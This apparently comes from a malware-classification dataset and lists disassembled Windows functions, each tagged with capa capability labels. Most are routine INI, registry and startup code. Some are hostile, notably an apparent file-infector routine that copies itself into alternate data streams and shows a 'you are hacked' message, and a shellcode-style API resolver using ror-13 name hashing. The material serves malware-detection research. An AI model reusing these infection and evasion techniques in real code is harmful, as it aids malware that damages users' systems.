joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100891cc
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099745
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0
push 0x104
push 0x104
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
push 0xffffffffffffffff
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
push eax
push str.ExReport_d
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.10002700
push eax
push 0x2d
push 0x2d
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x100c42ec
lea edx, [ebp - 0x2c]
push edx
push 0x100be6d0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x14], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
cmp dword [ebp - 0x14], 0
jg 0x100892f3
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CString::CString_1
mov byte [ebp - 4], 2
push 0x100be6e0
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CString::operator
mov ecx, dword [ebp + 0x10]
push ecx
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x30]
call fcn.10002700
push eax
lea ecx, [ebp - 0x34]
call fcn.10002700
push eax
lea edx, [ebp - 0x2c]
push edx
push 0x100be6e4
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x34]
call fcn.100947c2
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.100947c2
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.100947c2
mov eax, dword [ebp - 0x38]
jmp 0x10089318
mov dword [ebp - 0x3c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.100947c2
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.100947c2
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10089326
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099761
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0
push 0x104
push 0x104
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::GetBuffer
push eax
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
push 0xffffffffffffffff
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.10002700
push eax
push 0x100
push 0x100
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x100c42f0
mov eax, dword [ebp + 8]
push eax
push 0x100be6f4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
ja 0x100893d8
lea ecx, [ebp - 0x14]
call fcn.10002700
push eax
mov ecx, dword [ebp + 0xc]
call fcn.10002700
push eax
mov ecx, dword [ebp + 8]
push ecx
push str.Crystal_Reports
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
jmp 0x100893ee
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea edx, [ebp - 0x10]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.10094804
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.100947c2
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.100947c2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1008f381
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x104
push 0x100c4c08
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0x100bee1c
push 0x100c4be8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100c4c08
push 1
push str.SortEmp
push 0x100c4be8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jle 0x1008f3d9
mov dword [ebp - 8], 4
jmp 0x1008f3df
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jge 0x1008f3ee
mov dword [ebp - 0xc], 0
jmp 0x1008f409
cmp dword [ebp - 4], 4
jle 0x1008f3fd
mov dword [ebp - 0x10], 4
jmp 0x1008f403
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x1008faa2
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x104
push 0x100c4ae4
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0x100bee38
push 0x100c4ac4
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100c4ae4
push 0
push str.SortCust
push 0x100c4ac4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 5
jle 0x1008fafa
mov dword [ebp - 8], 5
jmp 0x1008fb00
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jge 0x1008fb0f
mov dword [ebp - 0xc], 0
jmp 0x1008fb2a
cmp dword [ebp - 4], 5
jle 0x1008fb1e
mov dword [ebp - 0x10], 5
jmp 0x1008fb24
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x10090223
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x104
push 0x100c49c0
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0x100beea8
push 0x100c49a0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100c49c0
push 0
push str.SortGoods
push 0x100c49a0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jle 0x1009027b
mov dword [ebp - 8], 2
jmp 0x10090281
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jge 0x10090290
mov dword [ebp - 0xc], 0
jmp 0x100902ab
cmp dword [ebp - 4], 2
jle 0x1009029f
mov dword [ebp - 0x10], 2
jmp 0x100902a5
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10090a73
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x104
push 0x100c489c
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0x100bef18
push 0x100c487c
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100c489c
push 0
push str.SortMaterial
push 0x100c487c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jle 0x10090acb
mov dword [ebp - 8], 4
jmp 0x10090ad1
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jge 0x10090ae0
mov dword [ebp - 0xc], 0
jmp 0x10090afb
cmp dword [ebp - 4], 4
jle 0x10090aef
mov dword [ebp - 0x10], 4
jmp 0x10090af5
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x100912dc
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x104
push 0x100c4778
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0x100bef8c
push 0x100c4758
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100c4778
push 0
push str.SortArticle
push 0x100c4758
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jle 0x10091334
mov dword [ebp - 8], 4
jmp 0x1009133a
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jge 0x10091349
mov dword [ebp - 0xc], 0
jmp 0x10091364
cmp dword [ebp - 4], 4
jle 0x10091358
mov dword [ebp - 0x10], 4
jmp 0x1009135e
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x1009198a
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x104
push 0x100c4654
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0x100befd4
push 0x100c4634
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100c4654
push 0
push str.SortAccount
push 0x100c4634
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jle 0x100919e2
mov dword [ebp - 8], 2
jmp 0x100919e8
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jge 0x100919f7
mov dword [ebp - 0xc], 0
jmp 0x10091a12
cmp dword [ebp - 4], 2
jle 0x10091a06
mov dword [ebp - 0x10], 2
jmp 0x10091a0c
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x100920d9
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x104
push 0x100c4530
call sub.Ufxtwl.dll_Ordinal_170
add esp, 8
mov eax, dword [ebp + 8]
push eax
push str.Output_Setup_No_d
push 0x100c4510
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x100c4530
push 0
push str.SortSong
push 0x100c4510
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jle 0x10092131
mov dword [ebp - 8], 1
jmp 0x10092137
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
jge 0x10092146
mov dword [ebp - 0xc], 0
jmp 0x10092161
cmp dword [ebp - 4], 1
jle 0x10092155
mov dword [ebp - 0x10], 1
jmp 0x1009215b
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x100945e9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push Ordinal_3
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10094641
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push 0x100a2674
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10094634
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x10094643
xor eax, eax
pop esi
leave
ret 4

Function at 0x402000
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete file
Move file
Terminate process

Disassembly:
push section..data
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x3e8
push 0x401027
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov ebp, eax
xor ebx, ebx
mov ecx, 0x202a2d2d
cmp dword [eax], ecx
je 0x40207d
inc eax
cmp dword [eax], ebx
jne 0x40202c
push 0
push str.infected
push str.Hello__you_are_hacked
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
mov esi, str.:bar
mov edi, 0x401027
mov ecx, 0x64
xor eax, eax
repne scasb al, byte es:[edi]
dec edi
rep movsb byte es:[edi], byte [esi]
push 0x40140f
push 0x40140f
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push 0x401027
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
jmp 0x4020e2
add eax, 4
xchg ebp, eax
xor eax, eax
inc eax
push section..data
push ebp
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push eax
push ebp
push 0x401027
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov esi, ebp
mov edi, 0x401027
lodsb al, byte [esi]
stosb byte es:[edi], al
test al, al
jne 0x4020a4
mov esi, str.:bar
dec edi
lodsb al, byte [esi]
stosb byte es:[edi], al
test al, al
jne 0x4020b0
push eax
push 0x401027
push section..data
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push section..data
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0
push str.infected
push ebp
push 0
call dword [sym.imp.USER32.DLL_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401e40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x401cda
mov esi, dword [edx + 0x28]
nop
jmp 0x401cef
movzx ecx, word [edx + 0x26]
nop
xor edi, edi
nop
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jmp 0x401d0d
jl 0x401d2e
jmp 0x401d20
nop
jmp 0x401d2b
sub al, 0x20
nop
jmp 0x401d3c
ror edi, 0xd
jmp 0x401d4c
add edi, eax
jmp 0x401d5c
dec ecx
nop
jmp 0x401d6b
jne 0x401cf7
nop
jmp 0x401d83
push edx
jmp 0x401d8f
push edi
nop
mov edx, dword [edx + 0x10]
nop
jmp 0x401da0
mov eax, dword [edx + 0x3c]
nop
jmp 0x401daf
add eax, edx
nop
jmp 0x401dbf
mov eax, dword [eax + 0x78]
nop
test eax, eax
nop
je 0x401f81
nop
jmp 0x401dda
jmp 0x401de6
add eax, edx
nop
jmp 0x401df4
mov ebx, dword [eax + 0x20]
nop
jmp 0x401e04
mov ecx, dword [eax + 0x18]
add ebx, edx
push eax
nop
jmp 0x401e1b
jmp 0x401e29
test ecx, ecx
nop
jmp 0x401e36
je 0x401f6f
nop
xor edi, edi
nop
dec ecx
jmp 0x401e52
mov esi, dword [ebx + ecx*4]
nop
add esi, edx
nop
jmp 0x401e67
xor eax, eax
jmp 0x401e73
lodsb al, byte [esi]
jmp 0x401e86
ror edi, 0xd
nop
add edi, eax
cmp al, ah
jne 0x401e58
jmp 0x401ea6
nop
add edi, dword [ebp - 8]
nop
jmp 0x401ebb
cmp edi, dword [ebp + 0x24]
nop
jne 0x401e1b
nop
jmp 0x401ed6
pop eax
mov ebx, dword [eax + 0x24]
nop
jmp 0x401eee
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
jmp 0x401f09
add ebx, edx
jmp 0x401f1b
mov eax, dword [ebx + ecx*4]
nop
add eax, edx
nop
jmp 0x401f2f
mov dword [esp + 0x24], eax
pop ebx
nop
pop ebx
nop
jmp 0x401f48
popal
pop ecx
nop
pop edx
nop
jmp 0x401f5a
push ecx
jmp eax
nop
jmp 0x401f80
pop eax
jmp 0x401f91
pop edi
nop
jmp 0x401fa3
pop edx
nop
mov edx, dword [edx]
jmp 0x401fba
jmp 0x401ccf

Function at 0x4086e0
Capabilities:
Encode data using xor

Disassembly:
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
ljmp 0x8b08
push 0x4043d0
call 0x4070d0
test esi, esi
je 0x40865b
mov ecx, dword [ebp - 8]
mov byte [ecx], 0
cmp eax, 0xffffffff
jne 0x4086cb
mov edx, 0x195eff46
in eax, 0x5d
pop esi
sbb ebp, esp
pop ebp
ret
push ebp
mov eax, dword [edx + 0x3d0845d6]
and byte [esi - 0x32], cl
add byte [ebp + 0x15], bh
movsd dword es:[edi], dword [esi]
dec ebp
adc byte [ebx - 0xcae37ab], cl
push eax
xor dword [ebp - 0x3ff91fd], eax
adc ebp, dword [edi]
mov ah, 0xc2
mov al, 0
cmp eax, 0x801d459
jge 0x408724
push eax
call 0x516187a0
mov esi, dword [ecx*4 + 0x10458b6f]
push eax
push ecx
jle 0x408739
add byte [eax], al
stosb byte es:[edi], al
cmp dword [edx], 0x10
cli
jp 0x40872f
add byte [0xf50a3930], bh
cmp eax, 0xf50a3930
xor byte [ecx], bh
or dh, ch
jge 0x4086af
mov edx, dword [ebp + 0x10]
mov esp, dword [esi - 0x50ab97f4]
cmpsb byte [esi], byte es:[edi]
or al, 0x68
push esp
scasd eax, dword es:[edi]
inc eax
add byte [edx + 0x50], dl
call 0x1138780
add esp, 0xc
js 0x408725
inc ebx
add bl, dl
add byte [ebx - 0x1c87f33c], al
or al, 0
cmp eax, 0xada80
jge 0x408764
mov ebx, dword [eax + edx - 0x75]
push ebp
or al, 0x68
pop eax
stc
inc eax
add dh, bl
push edx
call fcn.00408780
add esp, 0xc
pop ebp
ret 0x5e
mov ecx, dword [ebp + 0xc]
add eax, 0xfff50380
push eax
mov eax, dword [ebp + 0x10]
push eax
push ecx
adc bl, byte [ecx + 2]
invalid
Function at 0x401106
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
lea eax, [ebp - 4]
push eax
push 0
push 0x80000000
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
je 0x40112a
xor eax, eax
jmp 0x4011b8
push esi
push 0
push dword [ebp + 8]
mov esi, 0x20a
mov edx, esi
lea ecx, [ebp - 0x31c]
call section..text
push str.ShellOpenCommand
mov edx, esi
lea ecx, [ebp - 0x31c]
call fcn.004010d8
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x31c]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], 0x105
call sub.advapi32.dll_RegQueryValueA
push dword [ebp - 4]
mov esi, eax
call sub.advapi32.dll_RegCloseKey
test esi, esi
je 0x401187
xor eax, eax
jmp 0x4011b7
cmp byte [ebp - 0x110], 0
lea esi, [ebp - 0x110]
je 0x4011ab
movzx eax, byte [esi]
push eax
call dword [sym.imp.MSVCR71.dll_isspace]
test eax, eax
pop ecx
je 0x4011ab
inc esi
cmp byte [esi], 0
jne 0x401196
push esi
push dword [ebp + 0xc]
call sub.kernel32.dll_lstrcpyA
xor eax, eax
inc eax
pop esi
leave
ret 8

Function at 0x4011bc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
imul eax, eax, 0x106
push ebx
lea ebx, [eax + 0x403264]
cmp byte [ebx], 0
jne 0x401276
push esi
push edi
push 0x5c
mov esi, 0x403144
push esi
call dword [sym.imp.MSVCR71.dll__mbsrchr]
test eax, eax
pop ecx
pop ecx
mov edi, 0x118
jne 0x401209
lea eax, [ebp - 0x118]
push eax
push 0x104
call sub.kernel32.dll_GetCurrentDirectoryA
jmp 0x401222
sub eax, esi
inc eax
cmp eax, edi
jbe 0x401212
mov eax, edi
push 0
push esi
mov edx, eax
lea ecx, [ebp - 0x118]
call section..text
push 0x4035a4
mov edx, edi
lea ecx, [ebp - 0x118]
call fcn.004010d8
push dword [ebp + 8]
call fcn.00401037
push eax
mov edx, edi
lea ecx, [ebp - 0x118]
call fcn.004010d8
lea eax, [ebp - 0x118]
push 0
push eax
call dword [sym.imp.MSVCR71.dll__access]
test eax, eax
pop ecx
pop ecx
pop edi
pop esi
jne 0x401276
push 1
lea eax, [ebp - 0x118]
push eax
mov edx, 0x106
mov ecx, ebx
call section..text
pop ebx
leave
ret 4

Function at 0x40127b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
xor eax, eax
push 3
inc eax
call fcn.004011bc
cmp byte [0x40336a], 0
jne 0x40134c
push ebx
push edi
mov ebx, 0x40336a
push 0x104
lea eax, [ebp - 0x118]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push esi
mov esi, 0x401a50
push 0x4035a4
lea eax, [ebp - 0x118]
push eax
call esi
push 3
call fcn.00401037
push eax
lea eax, [ebp - 0x118]
push eax
call esi
lea eax, [ebp - 0x118]
mov edi, dword [sym.imp.MSVCR71.dll__access]
push 0
push eax
call edi
test eax, eax
pop ecx
pop ecx
pop esi
je 0x401322
push ebx
push str.VisualFoxProRuntime.9
call fcn.00401106
test eax, eax
mov edi, dword [sym.imp.MSVCR71.dll__access]
je 0x401319
push 0
push ebx
call edi
test eax, eax
pop ecx
pop ecx
je 0x401319
mov byte [0x40336a], 0
jmp 0x401340
cmp byte [0x40336a], 0
jne 0x40134a
push 1
lea eax, [ebp - 0x118]
push eax
mov edx, 0x106
mov ecx, ebx
call section..text
cmp byte [0x40336a], 0
jne 0x40134a
xor eax, eax
inc eax
push 3
call fcn.004011bc
pop edi
pop ebx
leave
ret
Function at 0x4016a9
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x4035fc
call fcn.00401981
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, sub.kernel32.dll_GetModuleHandleA
call edi
cmp word [eax], 0x5a4d
jne 0x4016e8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4016e8
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x401700
cmp eax, 0x20b
je 0x4016ed
mov dword [ebp - 0x1c], ebx
jmp 0x401714
cmp dword [ecx + 0x84], 0xe
jbe 0x4016e8
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x40170e
cmp dword [ecx + 0x74], 0xe
jbe 0x4016e8
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x403478], 0xffffffff
or dword [0x40347c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x403138]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x403134]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403474], eax
call fcn.004018e3
call fcn.0040197e
cmp dword [0x403018], ebx
jne 0x401774
push fcn.0040197e
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.0040196b
push 0x403010
push 0x403008
call dword [sym.imp.MSVCR71.dll__initterm]
push 0x401927
call fcn.004018d1
mov eax, dword [0x403130]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40312c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x4017ca
push 8
call dword [sym.imp.MSVCR71.dll__amsg_exit]
pop ecx
push 0x403004
push section..data
call dword [sym.imp.MSVCR71.dll__initterm]
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x401848
cmp al, bl
je 0x4017f5
cmp dword [ebp - 0x20], ebx
jne 0x401848
mov al, byte [esi]
cmp al, bl
je 0x401805
cmp al, 0x20
ja 0x401805
inc esi
mov dword [ebp - 0x24], esi
jmp 0x4017f5
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call sub.kernel32.dll_GetStartupInfoA
test byte [ebp - 0x58], 1
je 0x401820
movzx eax, word [ebp - 0x54]
jmp 0x401823
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.004013ce
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x401840
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x40189e
cmp al, 0x22
jne 0x401857
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x40186a
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x4017e3
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.004019bc
ret

Function at 0x403161
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x403161
lcall 0x5de5, 0x8b10c483
jmp loc.00791034
Function at 0x616370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x61638e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x63f074
push ecx
mov edi, eax
call fcn.0062a198
mov esi, eax
add esp, 8
test esi, esi
jne 0x6163cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0062a02e
push esi
call fcn.00629fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x619850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x6198ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x644720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6198ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.0062a1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x6198ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x644720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x61992a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.0062b082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x619957
mov word [eax], si
add eax, 2
push eax
call fcn.0062b030
add esp, 4
jmp 0x619959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x6198ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x6198b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x619ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
